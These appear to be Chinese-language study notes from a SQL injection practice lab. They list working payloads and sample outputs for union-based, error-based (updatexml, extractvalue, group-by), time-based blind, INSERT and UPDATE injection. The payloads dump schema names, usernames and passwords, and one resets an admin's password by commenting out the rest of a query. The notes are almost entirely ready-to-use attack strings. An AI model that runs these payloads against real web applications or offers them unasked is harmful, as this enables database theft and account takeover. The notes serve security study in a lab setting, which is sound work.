select name,password from users where id = $id ; 1 正常页面 1and1=1 正常页面 1and1=2 异常页面 select name,password from users where id =1and1=1 ; select name,password from users where id =1and1=2 ;
select*from users where id ='$id' ; 1 正常页面 1and1=1 正常页面 1and1=2 正常页面 闭合方式有问题 select name,password from users where id ='1 and 1=1' ; select name,password from users where id ='1 and 1=2' ;
1 正常页面 1' and '1'='1 正常页面 1' and '1'='2 异常页面 闭合方式没问题存在注入点 select name,password from users where id ='1'and'1'='1' ; select name,password from users where id ='1'and'1'='2' ;
联合注入
union 前提条件 列数相同
1' order by 1 [--+|#|and '1' ='1] 正常页面 1' order by 2 [--+|#|and '1' ='1] 正常页面 1' order by 3 [--+|#|and '1' ='1] 正常页面 1' order by 4 [--+|#|and '1' ='1] 异常页面 确定后台的查询结果有3列
1' union select 1 [--+|#|and '1' ='1] 异常页面 1' union select 1,2 [--+|#|and '1' ='1] 异常页面 1' union select 1,2,3 [--+|#|and '1' ='1] 正常页面 确定后台的查询结果有3列
判断回显位置
1' union select 1,2,3 [--+|#|and '1' ='1] 根据回显的数字来判断第几列会回显
-1' union select 1,(select group_concat(table_name) from information_schema.`TABLES` WHERE table_schema = 'security'),(select @@version)--+ --Your Login name:emails,referers,uagents,users
查数据列名
-1' union select 1,(SELECT GROUP_CONCAT(COLUMN_name) from information_schema.`COLUMNS` where table_schema='security' and table_name='users'),(select @@version)--+ --Your Login name:id,username,password --Your Password:5.5.44-0ubuntu0.14.04.1
查数据
-1' union select 1,(select group_concat(username) from security.users),(select group_concat(username) from security.users) --+ --Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 --Your Password:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
查询的数据过长时:
1' and updatexml(1,concat(0x7e,(select substr((select password from cms.cms_users limit 0,1),1,16))),1)--+ 1'and updatexml(1,concat(0x7e,(select substr((select password from cms.cms_users limit 0,1),17,32))),1)--+
报错注入
判断闭合方式
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1
通过查看错误信息,判断注入点和闭合方式
1 正常页面 1' and '1'='1 正常页面 1' and '1'='2 异常页面 闭合方式没问题存在注入点
xpath 表达式报错
1' and updatexml(1,concat(0x7e,(查询语句)),1) [--+|#|and '1' = '1]
查库名&版本
1' and updatexml(1,concat(0x7e,(select database())),1) [--+|#|and '1' = '1]
1' and updatexml(1,concat(0x7e,(select version())),1) [--+|#|and '1' = '1]
查表名、列名、数据
表名: 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.`TABLES` WHERE table_schema = 'security')),1) [--+|#|and '1' = '1]
列名: 1' and updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(COLUMN_name) from information_schema.`COLUMNS` where table_schema='security' and table_name='users')),1) [--+|#|and '1' = '1]
数据:...
extractvalue
1' and extractvalue(1,concat(0x7e,(查询语句))) [--+|#|and '1' = '1]
查库名&版本
库名: 1' and extractvalue(1,concat(0x7e,(select database()))) [--+|#|and '1' = '1]
版本: 1' and extractvalue(1,concat(0x7e,(select version()))) [--+|#|and '1' = '1]
查表名、列名、数据
表名: 1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.`TABLES` WHERE table_schema = 'security'))) [--+|#|and '1' = '1]
列名: 1' and extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(COLUMN_name) from information_schema.`COLUMNS` where table_schema='security' and table_name='users'))) [--+|#|and '1' = '1]
数据:...
group by主键冲突
selectcount(*),(concat(floor(rand(0)*2),0x7e,(执行的语句)))x from information_schema.tables groupby x
保证列数一致:
1' union select 1,2,3 %23 库名: 1'unionselect1,count(*),(concat(floor(rand(0)*2),0x7e,(select database())))x from information_schema.tables groupby x %23
第一张表 1' and if((LENGTH((select table_name from information_schema.tables where table_schema = 'security' limit 0,1))) > 1,sleep(3),1) %23 ... 1'and if((LENGTH((select table_name from information_schema.tables where table_schema ='security' limit 0,1))) =6,sleep(3),1) %23 逐字符猜解名称 1' and if(mid((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1) = 'e',sleep(3),1) %23 .... 第二张表 1'and if(LENGTH((select table_name from information_schema.tables where table_schema ='security' limit 1,1)) >1,sleep(3),1) %23 ... 1' and if(LENGTH((select table_name from information_schema.tables where table_schema = 'security' limit 1,1))= 6,sleep(3),1) %23 逐字符猜解名称 1'and if(mid((select table_name from information_schema.tables where table_schema ='security' limit 1,1),1,1) ='e',sleep(3),1) %23 ....
列名:
1' and if(LENGTH((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'emails' limit 0,1)) > 1,sleep(3),1) %23 ... 1'and if(LENGTH((select column_name from information_schema.columns where table_schema ='security'and table_name ='emails' limit 0,1))=2,sleep(3),1) %23 逐字符猜解名称 1' and if(mid((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'emails' limit 0,1),1,1) = 'e',sleep(3),1) %23 emails第2列 ....
数据:
确定第一条数据符长度
1' and if(LENGTH((select concat(username,0x7e,password) from security.users limit 0,1)) > 1,sleep(3),1) %23 ... 1'and if(LENGTH((select concat(username,0x7e,password) from security.users limit 0,1)) =9,sleep(3),1) %23 逐字符猜解名称 1' and if(mid((select concat(username,0x7e,password) from security.users limit 0,1),1,1) = 'd',sleep(3),1) %23 ....
insert注入
insertinto users values('$u','$pw',....) '1'') i username=aaaa&password=aaaa&sex=0'+%2b+(length((database())))+%2b+'0&phonenum=&email=&add=&submit=submit insert into users values('aaaa','aaaa','0'+%2b+(length((database())))+%2b+'0','$phonenum','$email','$add') username=aaaa'+or+updatexml(1,(concat(0x7e,(select+database()),0x7e)),1)+or+'1&password=aaaa&sex=&phonenum=&email=&add=&submit=submit insert into users values('aaaa'+or+updatexml(1,(concat(0x7e,(select+database()),0x7e)),1)+or+'1','aaaa',....)
update注入
admin'#123424534 123456 update user set passwd = '$new_pass' where userame = '$user' update user set passwd = '123456' where userame = 'admin'#123424534' update table_name set column_name1='$pw'where column_name2 ='$id';